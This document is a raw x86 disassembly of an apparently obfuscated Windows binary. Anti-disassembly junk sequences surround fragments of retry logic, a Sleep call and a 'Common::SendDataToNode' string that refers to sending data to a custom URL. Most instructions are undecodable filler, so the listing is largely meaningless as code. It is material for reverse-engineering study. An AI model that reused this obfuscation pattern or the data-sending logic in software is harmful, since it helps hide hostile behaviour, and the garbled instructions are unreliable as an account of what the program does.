aam 0x58
pop ecx
push cs
inc esp
xchg ebx, esi
scasd eax, dword es:[edi]
inc byte [ecx]
push ebx
fbstp tbyte [esp + ebp - 0x7d664d51]
in eax, 0x55
xchg ebx, eax
mov al, byte [0xb18731c0]
int1
out 0xbc, al
and al, 0xd6
push 0x6f
sahf
push cs
and edi, ebp
leave
and eax, 0x62d7898f
mov edi, edx
invalid
mov bh, 0xf4
sbb bl, byte [esi - 0x60a7df25]
mov bh, 0x6e
mov esp, 0x99376092
sub dword [edi + 0x2e26db88], esp
mov ch, 0xc2
aam 9
jo 0x1009ed54
arpl word [edx - 0x27cd8b81], bp
loopne 0x1009edb5
clc
mov bh, 0x9b
popfd
popfd
lea eax, [ebp - 0x1600]
pushfd
test byte [0x1009ee5b], 0x5b
jne 0x1009ee5c
aas
cli
mov eax, 0xe65be7ce
push ecx
xor ebp, ebx
cmpsd dword [esi], dword es:[edi]
or eax, 0xea11bc37
push edi
or dword [edx + 0xf0ae23e], ebp
in al, dx
inc ebp
or dword [eax - 0x48190bd], ebx
stosb byte es:[edi], al
push eax
out dx, al
sal dword [ecx + ebp*8 - 0x52], cl
xor al, byte [ecx]
push ss
dec esi
push edi
jo 0x1009edb8
frstor dword [edi]
test edi, ebx
push edi
add al, 0xe5
out dx, al
mov al, byte [0x36dfc6fb]
pop eax
das
add eax, dword [esi + 0x34]
add bl, byte [esi - 0x3c]
pop edx
xchg esi, eax
aas
push es
mov edi, gs
sub eax, 0x53d8bccd
jge 0x1009eebb
int3
popfd
push eax
lea ecx, [ebp - 0x183c]
pushfd
test byte [0x1009ef10], 0xe
jne 0x1009ef11
inc ecx
popfd
adc esp, dword [edi - 0x3d]
aad 0x5a
push edi
mov bl, 0x1e
movsd dword es:[edi], dword [esi]
or ah, byte [esi]
jae 0x1009eea2
push esp
push ds
mov fs, word [ebx]
mov ebp, 0x74de96e8
aad 0x7f
mov ebx, 0xf8684502
pop ebx
dec eax
xchg edx, eax
in eax, 0x44
xchg edx, eax
add al, 0x2e
and al, byte [ebx + 0x4a]
add al, 0x81
jns 0x1009eed1
stosb byte es:[edi], al
mov word [eax + 0xe], gs
insd dword es:[edi], dx
push ecx
cli
cwde
mov edi, 0x6ee0af79
mov bh, 0x3a
int3
invalid
or ebp, dword [ebp + 0x46]
mov ch, 0x87
adc edi, edx
lahf
mov esp, 0x98b4fbc3
push edi
cmp eax, 0xf822e376
invalid
popfd
call fcn.1006f2a4
pushfd
test byte [0x1009ef3d], 0x4f
jne 0x1009f03e
outsb dx, byte [esi]
xchg ebx, eax
and bl, byte [edx]
mov byte [ebx], bl
push es
sahf
xor dword [esi + 0x4df4252a], eax
movsd dword es:[edi], dword [esi]
shl al, cl
push eax
sal byte [edx], 1
mov si, 0x8eed
or al, 0x9d
sub bh, dh
jnp 0x1009efaf
call 0x62ddc5ff
push esp
add eax, 0xbac766d0
insd dword es:[edi], dx
test al, bh
into
popal
cmp dword [edx - 0x37], edx
xor eax, 0x9a3701f0
outsb dx, byte [esi]
out dx, al
mov bl, 0xf9
pop esp
mov esp, 0x739fb9d
push ds
inc ecx
fbld tbyte [edx + edx*8 + 0x77]
pushal
jnp 0x1009ef66
fbstp tbyte [edx - 0x2c1446ca]
aas
cli
das
mov eax, dword [0x27e83202]
shl dh, 1
xchg dword [ebx + eax*8 + 0x5c33de36], ecx
out 0x6d, al
mov edi, 0x45c4c100
fidivr dword [ebx]
dec esi
sti
sbb byte [ecx + ebx*8 - 0x6d34e119], al
scasb al, byte es:[edi]
aaa
push dword [eax]
in al, 0x9c
adc al, 0x2d
int3
ret
salc
pop ecx
pushfd
aam 0x27
pop ds
cmp byte [eax], dl
sub dword [ecx - 0x20c1d835], eax
mov ss, word [ecx + 0x1453872d]
call 0xecf8ed1f
push ebp
insd dword es:[edi], dx
xor byte [ebx + 0x10fac6f], ah
sbb eax, 0xd78253e4
jecxz 0x1009f003
bound eax, qword [ebp - 0x22]
pop ss
clc
xor al, 0xce
cmp eax, 0x66cea5d4
fnstenv [esp + edi*2]
fisubr word [0x417200b5]
in al, 0x94
fiadd word [ecx]
arpl word [eax - 0x18], cx
ja 0x1009ef80
inc ebx
sahf
mov byte [eax + 0xc], bl
pushfd
jae 0x1009f025
push 0xffffffffffffffda
push 0xffffffffffffffda
sub esi, eax
fisttp qword [0xb65648bd]
in eax, 0x5a
sal dword [0x3d4b6bc1], 0x3f
push esp
in al, dx
push 0xffffffffffffffc8
dec ebp
xchg edi, eax
xor dword [edi + 0x17], edx
add dl, byte [ebp - 0x16]
push ebx
xchg ebp, eax
rcl byte [esi + 0x34]
fmul st(4)
add dword [ecx + 0x10f12902], 0xfffffff2
mov edi, 0xb717a42f
lodsd eax, dword [esi]
sbb al, 0xa9
jle 0x1009f08e
pop dword [esi - 0x39]
loop 0x1009effd
invalid
adc esi, ebx
popfd
mov esi, eax
push edi
mov byte [ebp - 4], 9
pushfd
test byte [0x1009f120], 0xfe
jne 0x1009f121
push edi
aas
in al, dx
push ebx
inc edx
cmp bh, byte [ebp - 0xb]
cld
in al, 0x3a
inc esp
mov al, byte [0xa8bd3e27]
cmp eax, 0x10fc9ba
jg 0x1009effe
jne 0x1009f01e
cmp ebx, dword [edi + 0x3c898ed9]
pop edx
xor ebx, eax
mov cs, word [ecx - 0x3ccea5c4]
sub edi, esi
insd dword es:[edi], dx
push es
mov ch, 0x91
pop ds
cmc
loopne 0x1009f0b0
sbb edi, dword [ecx - 0x6e4d8741]
out 0xf1, eax
mov esp, 0x749aebbc
test dword [ebx - 0x2c], ebp
mov ecx, dword [ebp - 0x387fb908]
movsb byte es:[edi], byte [esi]
stc
jge 0x1009f038
out dx, al
add ecx, ecx
and ah, byte [edx + 0x50]
rcl dword [0x57e84989], 0x60
and eax, 0xcd9eeceb
jae 0x1009f058
cmpsb byte [esi], byte es:[edi]
xchg edi, eax
pop ecx
or eax, 0x91f671fa
add eax, 0xa4f15b01
dec ebx
mov byte [ebx - 0x80], ch
mov byte [ebx], al
cmp byte [ebx], bh
je 0x1009f0ff
or bh, al
jl 0x1009f08e
mov byte [esi + ebp*2 + 0x57], al
insb byte es:[edi], dx
mov dh, 0xa8
and al, 0xd1
salc
add al, 0x34
lahf
insb byte es:[edi], dx
inc edi
jb 0x1009f071
mov byte fs:[ebx + 0x6dfdb3d8], al
aad 0x31
adc al, 0x94
or byte [ebx], 0x27
pop ecx
cmp dword [eax - 0x49d78c42], ebx
cmpsd dword [esi], dword es:[edi]
xor edx, eax
mov ah, 0x74
mov edi, 0xcdf41e58
add eax, 0x9aa171a4
push esi
push eax
test al, 0xc2
rol bh, 1
inc esi
sub dword [eax], ebp
xchg byte [eax], ah
jle 0x1009f0c9
mov eax, dword [0xa850569a]
ret 0xc7d0
leave
and dword [eax + 0x6253aa7e], 0xffffffe8
dec esi
cmp dword [edi + 0x3c], ebp
push esp
insb byte es:[edi], dx
push ds
sub byte [edi - 0x7a], ah
popfd
call fcn.1011d740
pop ecx
push eax
pushfd
test byte [0x1009f21e], 0x83
jne 0x1009f21f
cmp byte [eax - 0x7f], ah
aad 0x89
sub al, 0x6c
sti
xor dword [ebp - 0x75d421ef], 0x29199f51
push ecx
push ds
push 0x76
je 0x1009f1c3
test eax, 0x7e926c6c
fdivr dword [ebx - 0x30]
add dl, byte [edx]
lodsb al, byte [esi]
loop 0x1009f17a
push ds
dec ecx
aad 0x53
insd dword es:[edi], dx
mov bl, 0xc0
sub esi, dword [ebp - 0x27587900]
into
fmul st(6)
xor byte [ebx + 0x4f], ah
outsb dx, byte [esi]
sbb eax, 0xa1656f7f
aas
in al, dx
mov bl, 0xc4
aas
mov dl, 0xd4
adc eax, 0x30a7821e
or byte [ebx], dh
mov eax, 0xc06239bb
push ds
and byte [edi - 0x47ccf7d0], 0xbb
cmp dword [edx - 0x40], esp
jno 0x1009f15b
imul ebp
fst dword [esi + 0x5665ff5e]
push esi
sbb byte [ecx - 0x4c], dh
pop eax
pushal
lea edi, [ebx]
push es
pop ecx
mov word [esi + 0x5a3ed42], ss
mov dh, 0x55
dec ebp
cld
push 0xffffffffffffff87
push 0x80db6a26
outsb dx, byte [esi]
xchg dword [ebp - 0x1a], edx
arpl word [eax - 0x5f], dx
int 0xa2
rcl byte [eax + 0x4f55201b], 0xac
jnp 0x1009f167
push 0xffffffffffffffaa
mov al, 0x16
mov dh, 0x58
xor dword [esi + edx*2], edi
jbe 0x1009f18e
add al, 0xdf
xchg ecx, eax
int1
lodsd eax, dword [esi]
int3
xor edi, dword [ebp - 0xfb4f2c9]
cmc
pop edi
xchg esp, eax
mov dh, al
outsb dx, byte [esi]
jbe 0x1009f1bd
scasb al, byte es:[edi]
in eax, dx
push ss
or dword [ebx + 0x1e], edi
mov ch, 0xa5
jle 0x1009f25a
xchg edx, eax
or dword [ebx - 0x16], eax
fist word [ecx]
jl 0x1009f1e8
test byte [eax + 0xd], cl
cmp eax, 0x4477e2a6
nop
outsd dx, dword [esi]
sub eax, 0x8c0e6cee
jno 0x1009f234
or byte [ebx - 0x6a2523dc], dl
popfd
push edi
push dword [esi + 0x10]
mov ecx, esi
push ebx
call fcn.1005e4cc
pushfd
test byte [0x1009f261], 9
add eax, 0x1009f261
or dword [ebp + 0x2c], esi
jne 0x1009f262
cmp byte [ebx + edi*8 - 0x134d8c52], bh
scasb al, byte es:[edi]
jae 0x1009f1ee
in al, dx
push ebx
cdq
daa
test ebp, ecx
daa
enter 0xf49, 0xffffffffffffffe4
xchg ebx, eax
dec ecx
aaa
fdiv qword [edi + esi*4]
or byte [eax], dl
jno 0x1009f22e
sal byte [edi - 0x51], 0x7f
imul ebx, ebp, 0xb1a4dd64
jo 0x1009f267
mov cl, 0x70
or dl, byte [edi - 0x4e0b4b38]
xchg edi, eax
enter 0xfffffffffffff4b4, 0xffffffffffffffb1
mov ah, 0xf4
mov cl, 0x9d
popfd
push ebx
test eax, eax
push 1
lea ecx, [ebp - 0x1600]
setne byte [ebp - 0x183d]
mov byte [ebp - 4], 4
call fcn.10002a9a
add dword [ebp - 0x15ff73], ecx
dec dword [edi]
xchg ebp, eax
test ebx, eax
out 0xff, eax
inc esi
inc ebp
cld
add al, 0xe8
sbb al, 0x38
idiv bh
cmp byte [ebp - 0x183d], bl
je 0x1009f299
inc dword [ebp - 0x1850]
cmp dword [ebp - 0x1850], 3
ja 0x1009f708
mov dword [ebp - 0x184c], ebx
pushfd
test byte [0x1009f2dc], 0x54
popfd
mov ah, 0xe7
invalid
or dword [eax], edx
push esp
jne 0x1009f2dd
push edx
dec ebx
jge 0x1009f25f
jbe 0x1009f2ed
jae 0x1009f29a
inc ebx
push esp
popfd
dec esp
dec esi
jnp 0x1009f239
lahf
sub byte [ecx + 0x168bd6e0], dh
int1
or edi, esp
jl 0x1009f2e0
inc ecx
push esi
mov dl, 0xdf
mov ah, 0xdf
inc eax
xor ah, al
xchg edx, eax
stc
add eax, 0x17cb62bd
nop
daa
jl 0x1009f32f
pop ebx
pop esi
pop ds
insd dword es:[edi], dx
popfd
jmp 0x1009f60f
add eax, dword [eax]
add byte [ecx - 0x184b63], cl
call [esi + esi*8 + 0x9f39705]
adc byte [esi + 0xa1850f], ch
add byte [eax], al
mov dword [ebp - 0x184c], ebx
pushfd
test byte [0x1009f397], 0xae
or dword [eax], edx
scasb al, byte es:[edi]
jne 0x1009f398
in al, dx
xor al, 0x49
push es
jo 0x1009f2a3
cmp byte [edx + ebp + 0x5c], al
out 0x71, al
cmpsd dword [esi], dword es:[edi]
cmpsd dword [esi], dword es:[edi]
imul ecx, dword [ebp + 0x7676a19c], 0x9f2a1587
dec esp
push cs
xchg edx, eax
and ecx, esi
outsd dx, dword [esi]
shr esi, 1
mov bl, ah
xor eax, 0x34c94d9
dec esp
cmp byte [eax - 0x51], ch
or cl, byte [eax + 5]
rcl ch, 0x21
and ah, byte [edx + ecx*2]
bound ebx, qword [edx + 0x31]
int1
adc eax, 0xb3950b34
aad 0xf2
clc
jb 0x1009f340
aad 0x22
aam 0xda
mov al, 0xe9
adc al, 0x77
jno 0x1009f381
ja 0x1009f3b3
dec esi
dec esi
cmp al, ch
sti
dec ecx
add dh, byte [ecx - 0x49]
dec ebp
mov eax, dword [0x6cf4805c]
mov dl, 8
inc edx
dec esp
dec eax
aaa
aas
jne 0x1009f38e
or byte [0x57e1dd8b], bh
loope 0x1009f3b7
into
sbb eax, edx
dec esi
salc
sar byte [ebp - 0x60], 0xcb
les edx, [ebx - 0x3984392b]
test al, 0x3d
sti
dec ebp
scasb al, byte es:[edi]
push ebx
xchg byte [edx], bl
dec ebx
add eax, 0x5e644171
dec ebx
scasd eax, dword es:[edi]
and ch, bl
sbb eax, dword [esi + ebp*2 - 0xf8a538e]
pushal
jmp [ecx]
add eax, 0x9e29ed2b
outsd dx, dword [esi]
aam 0x72
jae 0x1009f35e
popfd
mov dword [ebp - 0x1850], ebx
lea esi, [ebp - 0x50]
cmp dword [ebp - 0x1848], ebx
je 0x1009f3b0
lea esi, [ebp - 0x90]
lea eax, [ebp - 0x1d4]
push eax
invalid
call fcn.100ac8a4
push eax
push esi
lea eax, [ebp - 0x1d4]
push str._s__s
pushfd
test byte [0x1009f435], 0xdb
jne 0x1009f436
fprem1
push ebx
shl dword [ebx], 0x3c
adc eax, 0x4f2e7a0
pop eax
salc
fnstsw word [ebx - 0x187da5db]
int3
pop ebx
or byte [eax], dl
add edi, 0x6d
rdtsc
in al, 0xfb
xor esp, esp
sti
mov esp, 0xfe8a7f36
inc ecx
sub al, 0x35
stc
push esp
mov esi, 0x68a5948
lea esi, [ebp - 0x77e1e29f]
push edx
lodsb al, byte [esi]
fsubr qword [edx + ecx*8 + 0x3b]
pop edx
pop ebp
pop eax
popal
out 0x7f, eax
bound edi, qword [edi + 0x3d]
sbb al, 0xfa
fidivr word [esi + ebp*4]
sub byte [edi], ah
mov edi, 0xc4f02e30
pop edi
test eax, 0xcbbe4ac3
pop ecx
cmp ah, byte [edx + 0x6345a760]
cmc
pop ss
popfd
push eax
call fcn.1011f090
add esp, 0x14
lea eax, [ebp - 0x1600]
push eax
pushfd
test byte [0x1009f4a8], 0x19
jne 0x1009f4a9
popfd
and esp, dword [eax + 0x31a452f5]
xchg ecx, eax
fstp dword gs:[ebx]
test al, 0x64
xchg esp, eax
add byte [ebx - 0x166808a0], ch
cmc
jbe 0x1009f3ed
xchg edi, eax
jmp 0xc48f6b5e
mov ah, 0x50
test dword [edx + 0xc], esp
adc eax, 0x52bd1980
je 0x1009f3f4
dec edi
jge 0x1009f4ee
test byte [ebx + 6], bh
cli
xor dword [edx - 0x6e], ecx
nop
popfd
sbb byte [edx - 0x3c], al
inc edx
xchg ecx, eax
imul eax, dword [ecx], 0x9c5e77f
push eax
out dx, al
mov al, byte [0xbd487521]
in ax, dx
pop esi
aas
scasb al, byte es:[edi]
mov ds, ecx
add al, 0xaa
enter 0xffffffffffffee10, 0xffffffffffffffed
movsb byte es:[edi], byte [esi]
xchg esp, eax
cli
pop ss
not edx
and al, 0x10
push edi
popfd
lea ecx, [ebp - 0x183c]
call fcn.1006f1b2
cmp dword [eax + 0x14], 0x10
pushfd
test byte [0x1009f53f], 0x71
jne 0x1009f540
cmp eax, 0x1d3099ec
shr ah, 1
dec eax
salc
or byte [ecx + 0x2e], bl
loopne 0x1009f463
adc byte [edi + 5], al
outsd dx, dword [esi]
fisttp dword [ebp + 0x29e2c4e1]
cmp al, 0x2d
test al, 7
cmc
stosd dword es:[edi], eax
and edi, esi
in eax, dx
add dword [esi], 0xffffffec
daa
sar byte [ecx + 0x7b2fb7d7], 0x73
dec ebp
jae 0x1009f53d
pop ecx
popal
cmp dword [ecx + 0xc], eax
mov edx, 0xc9ca3eae
add esp, dword [edi - 0x26]
imul dword [eax - 0x5b9428dc]
or eax, 0x52cff993
add eax, 0x7a39a048
cmp ecx, 0x2f75d5ab
movsd dword es:[edi], dword [esi]
mov word [ecx + 0x1e566b5f], ds
mov edx, ebx
dec esp
dec edx
mov byte [edx - 0x70], bl
xchg esi, eax
xchg ebp, eax
adc byte [ebx], bl
xchg esp, eax
rcr byte [ebx + ebx*8 + 0x5cf914ac], cl
arpl word [ecx + 0x3d0f3769], sp
cmp eax, 0x9b543772
stc
push ebx
add al, 0x90
movsd dword es:[edi], dword [esi]
pop ebp
outsd dx, dword [esi]
popfd
mov byte [ebp - 4], 0xa
jb 0x1009f549
mov eax, dword [eax]
lea ecx, [ebp - 0x1d4]
push ecx
push eax
push dword [ebp - 0x1848]
push dword [ebp - 0x1844]
push str.Common::SendDataToNode::i:j:ResponseContent:wszCustomUrl____d:_d:_s:_s
pushfd
test byte [0x1009f58d], 0x14
jne 0x1009f58e
sal ah, 0x39
xchg edi, eax
sal byte [ebp - 0x7b], 1
outsd dx, dword [esi]
and dword [esi + 0x3e742036], eax
xchg ebp, eax
imul edx, dword [eax*2 + 0x40711b9f], 0x12
jl 0x1009f5f9
jb 0x1009f58e
sub bl, cl
mov dh, 0x82
clc
xor esi, edi
popfd
push ebx
push 3
call fcn.10049c0c
add esp, 0x1c
push ebx
pushfd
test byte [0x1009f5af], 0xa0
jne 0x1009f5b0
pop edi
jae 0x1009f534
call 0x2f492bdf
sub ebx, dword [ecx + 0x77]
popfd
push edi
lea ecx, [ebp - 0x1600]
mov byte [ebp - 4], 4
call fcn.10002a9a
lea eax, [ebp - 0x1600]
push eax
lea ecx, [ebp - 0x183c]
call fcn.1006f1b2
cmp dword [eax + 0x14], 0x10
jb 0x1009f5db
mov eax, dword [eax]
lea ecx, [ebp - 0x1d4]
push ecx
push eax
call fcn.101244a8
pop ecx
pop ecx
neg eax
sbb al, al
push ebx
inc al
push edi
lea ecx, [ebp - 0x1600]
mov byte [ebp - 0x183d], al
call fcn.10002a9a
cmp byte [ebp - 0x183d], bl
jne 0x1009f702
test ebx, eax
out 0xff, eax
invalid
inc dword [ebp - 0x1844]
cmp dword [ebp - 0x1844], 0x64
pushfd
test byte [0x1009f6f8], 0xa5
jne 0x1009f6f9
push ebp
or eax, 0x63653580
out 0xe7, eax
mov esi, ebx
mov ebx, esi
push ebx
lss ecx, [ebx + 0x61baaa40]
pop edx
xchg ebp, eax
pop edx
adc al, 0x80
inc ebp
xor byte [ebx + edx*2 - 0x649f5cc9], cl
insd dword es:[edi], dx
jnp 0x1009f6ca
fnstcw word [edx]
jge 0x1009f6c9
inc esp
pop eax
push ss
fnstenv [ebp + 0x1db3fbe8]
fadd st(3)
int 0xb4
stc
dec ebp
fisttp word [ebp - 0x38c0448d]
out dx, eax
sti
xchg esp, eax
mov ebx, dword [ebx - 0x3738f2c6]
dec esi
das
mov cl, 2
salc
mov bl, 0x44
popfd
cmp eax, dword [eax + ebp*2 + 0x38]
pop edx
outsb dx, byte [esi]
shr cl, 1
xlatb
int3
sub dword [eax + 4], 0x9992251a
pop edx
jbe 0x1009f6d1
mov esp, 0x3aaa6cc6
xor ebx, dword [edi - 0x2b]
xchg byte [ebp - 0x5cdef9de], cl
movsb byte es:[edi], byte [esi]
push 0xfffffffffffffff0
lodsd eax, dword [esi]
mov dword [0xadf06aa4], eax
js 0x1009f725
in eax, 0x7c
aam 0xbd
and al, 0xb6
inc edx
pop ecx
or eax, 0x1e851792
mov ebx, 0x71d4104e
mov ebx, 0x71d4104e
mov edi, 0x43883a6b
sub esp, ebp
mov esp, 0xc0810fa4
fdivrp st(7)
cmp cl, byte [eax - 0x431ad4bd]
movsb byte es:[edi], byte [esi]
jno 0xc301d59e
rcr dh, 0xf7
mov dl, 0xb4
jbe 0x1009f6b5
mov ah, 0x76
aam 0xda
mov cl, byte [ebx - 0x42]
xlatb
cdq
fimul dword [edx + 0x3ed7be4b]
cdq
sti
daa
pushal
pushal
inc edi
pop ds
inc ebx
jnp 0x1009f6da
jle 0x1009f69d
arpl word [ecx], dx
stc
sahf
popfd
jl 0x1009d850
jmp 0x1009f708
mov dword [ebp - 0x1858], ebx
cmp dword [ebp - 0x1858], ebx
je 0x1009f80f
inc dword [ebp - 0x1848]
cmp dword [ebp - 0x1848], 2
out 0xff, eax
inc dword [ebx - 0x184743]
inc dword [edx]
jl 0x1009d6de
invalid
pushfd
test byte [0x1009f80d], 0x25
jne 0x1009f80e
clc
adc eax, 0x428d5379
xchg ebp, eax
mov byte [ebp + 0x48695341], bl
jecxz 0x1009f78e
salc
outsd dx, dword [esi]
pop ss
or al, 0xbb
dec edi
add eax, 0x415feecc
lodsb al, byte [esi]
mov dl, 7
stosd dword es:[edi], eax
add cl, byte [ebx + 0x204715ce]
fsub dword [0x8103f9ff]
lodsb al, byte [esi]
and dword [ebx - 0x69fc2cde], 0xa64cac85
sahf
shr ch, 0x63
or ebp, dword [ecx + 0x11]
mov ebx, 0xa1110969
insb byte es:[edi], dx
push 0xc869
dec ebx
frstor dword [ecx]
lodsb al, byte [esi]
mov word [edx + 0x64], fs
add al, 0x14
cli
sub byte [edx], bh
je 0x1009f717
and al, 0xbc
jb 0x1009f786
neg dword [0x12584417]
sbb eax, 0x12584417
push ebx
add al, 0x81
sbb byte [eax], ch
fxch st(1)
mov dword [0xcccf62f9], eax
test byte [esi + 4], 0x79
aad 0xfe
dec esi
pop ss
sbb edx, dword [ebp - 0x4f]
loopne 0x1009f80a
js 0x1009f786
ficomp dword [ebx + 0x65]
sbb esi, esi
jns 0x1009f781
rol dword [edx], 1
xlatb
sub eax, edx
inc eax
mov dl, 0xf7
adc eax, 0xb3c319a1
das
mov ebx, 0xa4c9ce9d
pushal
sub byte [ebp + 0x1d84e82], dh
mov ebx, 0x89ac3d16
sbb cl, byte [ebx + 0x5991cea6]
aad 0xcc
dec ebx
xor ebp, dword [edx - 0x5a8f87c2]
in al, dx
pop ebx
mov esp, 0x61f6615f
rcr byte [eax - 0x213c1f5a], 1
movsb byte es:[edi], byte [esi]
mov bl, 0xdd
pushal
xchg edx, eax
cdq
adc eax, 0x93d7b3ae
std
xchg esi, eax
into
mov al, 0xff
adc byte [esi - 0x31980ad], 0xc9
adc al, 0xdf
push eax
pop ebp
popfd
push ebx
push 1
lea ecx, [ebp - 0x161c]
call fcn.10002a9a
lea ecx, [ebp - 0x1860]
mov byte [ebp - 4], 2
pushfd
test byte [0x1009f92f], 0x1a
jne 0x1009f930
invalid
xlatb
or dword [ebx + 0x2d], ecx
mov dword [esi - 0x6f], edx
and eax, 0x39dc7acb
fdivr qword [ecx]
out dx, al
sbb ah, byte [ebp - 0x1e845e89]
jecxz 0x1009f85e
adc al, 0x78
adc dword [esi + 0x70a37334], ebp
add al, 0xcd
jmp 0xe4f7934f
js 0x1009f85d
scasb al, byte es:[edi]
xor al, 0x73
mov dword [0xe9cd0470], eax
neg dword [edx + 0x39a9d4ed]
add al, 0x5c
xor eax, 0xffffffe0
ja 0x1009f8d1
invalid
loopne 0x1009f8d7
jo 0x1009f8a2
inc eax
xor byte [edx], 0x36
jns 0x1009f813
or ebp, dword [ebx]
bswap ebx
push edi
add al, 0x26
push edx
mov dl, 0xd7
and al, 0x57
ja 0x1009f83f
mov edi, 0xaf11d0b8
stosd dword es:[edi], eax
push esi
int1
jae 0x1009f87c
pop esp
xchg esp, eax
and eax, 0x3aff738d
pop esp
mov ch, 0x10
insb byte es:[edi], dx
dec esi
stc
jb 0x1009f88e
push dword [edx + edx*8 - 0x3dc3f65d]
in al, dx
mov ah, 0xd2
mov dword [0xecc23c09], eax
add dword [ebx], ecx
sub dword [0xfd509799], edi
into
adc ax, 0xcf5d
pushfd
mov eax, edx
loopne 0x1009f8e6
iretd
cmp bh, al
mov eax, dword [0xe1e84c04]
jns 0x1009f873
stosd dword es:[edi], eax
dec ebx
aas
nop
loopne 0x1009f849
adc cl, ch
stosb byte es:[edi], al
cld
test al, 0x54
push eax
mov al, 0x88
xchg esi, eax
push eax
xchg ebx, eax
and ebp, esi
jb 0x1009f87b
aas
add dword [ebp + 0x53], eax
rcr ebp, 0xe5
bound esp, qword [esi + 0x15b7795]
in al, dx
ja 0x1009f92e
add esp, ebp
out dx, al
arpl cx, bp
mov esi, 0xbf6e30b2
popfd
scasd eax, dword es:[edi]
add al, byte [edi + edx*8 + 0x45]
or dword [esi + 0x774d1e35], edi
sub al, 0x51
jmp 0x7e3aab9a
push ds
dec ebp
ja 0x1009f916
push ecx
cmpsd dword [esi], dword es:[edi]
or al, 0xf4
dec esi
arpl word [esi + 0xafcb29c], dx
jge 0x1009f958
outsb dx, byte [esi]
in eax, dx
mov eax, 0xb15ae09e
in eax, dx
mov esi, 0x42ffaf0b
mov ecx, 0x91610b7e
int1
xchg dword [eax], ecx
add dword [edi - 0x630d142b], ecx
dec edi
pop ecx
scasb al, byte es:[edi]
dec edi
outsd dx, dword [esi]
mov ecx, esp
lea esp, ds:[ecx - 0x39afdc67]
pop ebp
mov bh, 0x5c
sbb byte [eax - 0x3a711a], cl
add ah, byte [edi + 0x56]
leave
movsd dword es:[edi], dword [esi]
aad 0x97
popfd
call fcn.10001009
pushfd
test byte [0x1009f9fe], 0xc0
jne 0x1009f9ff
add byte [eax], al
add byte [ecx - 0x20], dl
cli
push ecx
loopne 0x1009f941
aaa
mov ah, 0xf
insd dword es:[edi], dx
dec ebx
pop esp
adc al, 0x50
call 0x63bd485b
dec eax
pop dword [ebx - 0x3a]
lea esp, [edx]
out dx, eax
adc ecx, dword [esi + 6]
and edi, dword [ecx]
mov al, byte [0xadc26310]
mul byte [ebx]
cmp edx, 0xffffffa7
shl dword [eax - 0x1a49def5], 0xc4
cmpsb byte [esi], byte es:[edi]
out dx, eax
sahf
mov dh, dl
sub byte [ecx - 0x30], 0xd
mov ah, byte [ecx + ebx*4]
pop ebp
jno 0x1009f9ea
mov esp, 0x331eb60f
clc
mov esi, 0xf212b649
mov dl, 0xd1
jnp 0x1009f9ea
arpl ax, dx
jnp 0x1009f9e1
arpl word [edx + 0x3c], bp
ficomp word [ecx + esi*8 - 0x62]
cmp al, 0xde
pop esp
int1
sahf
mov ecx, 0x81e7de49
les esp, [eax - 0x63]
mov bh, 0xa0
jl 0x1009f996
xchg ecx, eax
mov byte [eax + 0x336b5ac9], 0x20
inc edi
popfd
sub al, 0x53
cld
pushfd
fsubr st(5)
mov ch, 0x52
add eax, eax
mov al, byte [0x575521b2]
sbb eax, 0x9b04c803
dec ebp
int 0xc3
adc bl, byte [ebx]
sub esi, dword [ebp - 0x73]
mov bl, 0xa5
pop eax
mov edi, 0x656a69cc
aad 0xa3
mov byte [edx], dh
adc al, byte [ebx + 0x4cc0fbd6]
mov ah, 0x33
and dh, byte [0x30ed4709]
inc esi
sub bl, bl
div esi
imul edi, ebp, 0xffffffd9
popal
mov edx, 0xbea46a15
push esp
shr dword [ecx + 0x6b0bfe3d], 0xed
popfd
push 0x2710
adc byte [edi], ah
add byte [eax], al
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.Exit_Common::SendDataToNode.......
pushfd
test byte [0x1009fae4], 0x9b
jne 0x1009fae5
cli
mov ch, 0xc7
jnp 0x1009fa01
test eax, 0x51cfdebf
push ds
or eax, 0x48a9f2fa
mov gs, word [ebx - 0x69]
or esp, dword ds:[ecx + ebp*4 - 0x11]
mov al, 0xdf
sbb eax, 0xc2f0a26f
je 0x1009fa52
sub dword [ebx + ebp], ecx
mov bh, 0xc7
xor eax, 0x451cb0e7
sbb al, 0x45
inc ebp
jge 0x1009fa48
in eax, dx
test ecx, 0x89c317f2
in al, 0x99
push esi
add ebx, eax
cmc
jb 0x1009fa47
fisub word [esi + 0x69008b78]
push eax
add byte [ecx + 0x2e], ch
push eax
xor esp, dword [edx + 0x417e95b0]
dec cx
mov es, word [edi + 0x84ddf37]
fisttp word [ebp + 8]
leave
push 0x2e65d9ca
push 0x4e4f6f3
sbb ebp, dword [esi]
sbb edx, dword [esi]
enter 0x2db, 0x23
xchg esp, eax
push esp
out dx, eax
dec ecx
add ebp, dword [0xf956b0ac]
xor eax, 0x12efe409
jle 0x1009fa6e
push ds
xchg byte [ebx], ch
inc esi
fmul st(6)
sub ah, ch
dec eax
das
push eax
shl byte [esi - 0x21a195ae], 1
pop esi
je 0x1009fac0
outsd dx, dword [esi]
jecxz 0x1009fb2a
jle 0x1009fad7
sub ah, byte [edx - 0x2f]
and ebx, dword [ebx]
mov al, byte [0xb193b716]
daa
or bl, byte [esi]
arpl word [ebx + 0x79], di
inc esp
xchg esp, esi
arpl bp, cx
out 0x92, eax
invalid
int 0xe7
xchg edx, eax
adc eax, 0xb83465d4
int 0xcf
mov eax, dword [0x6f421472]
aad 0x62
lahf
xchg ecx, eax
jl 0x1009fa5f
jnp 0x1009faab
cmpsb byte [esi], byte es:[edi]
movsb byte es:[edi], byte [esi]
pop es
xchg esp, eax
aaa
mov cl, 0xb5
imul edi
inc ebx
pop ss
fbld tbyte [eax - 0x5f]
popfd
push ebx
push 3
call fcn.10049c0c
mov esi, dword [ebp - 0x1858]
pushfd
test byte [0x1009fba5], 0x85
jne 0x1009fba6
xor dword [ebp + 0x4003ddcb], ebx
and byte [edi], cl
add al, 0x22
push ds
pushal
adc edx, edi
sbb al, 5
ror dword [ebx - 0x6e41ab5a], 1
insd dword es:[edi], dx
or al, 0xc7
cmp al, 0xeb
push esp
int1
jns 0x1009fb68
cmpsb byte [esi], byte es:[edi]
add esi, dword [ebp + 0x381a7f84]
mov ecx, 0x402a0b91
or ebp, dword [edx]
inc eax
int3
jb 0x1009fb94
sub eax, 0x702bd70e
mov edx, 0x308e5c83
rcr byte [0x770c4892], cl
xchg edi, eax
xchg edx, eax
enter 0xffffffffffffe5da, 0xffffffffffffff87
push ebp
mov esi, 0xdccd1f1a
mov bl, 0xc7
push cs
dec esp
mov eax, dword [0xb97c3601]
mov ah, 0xa9
dec esp
xor al, 0x31
dec ecx
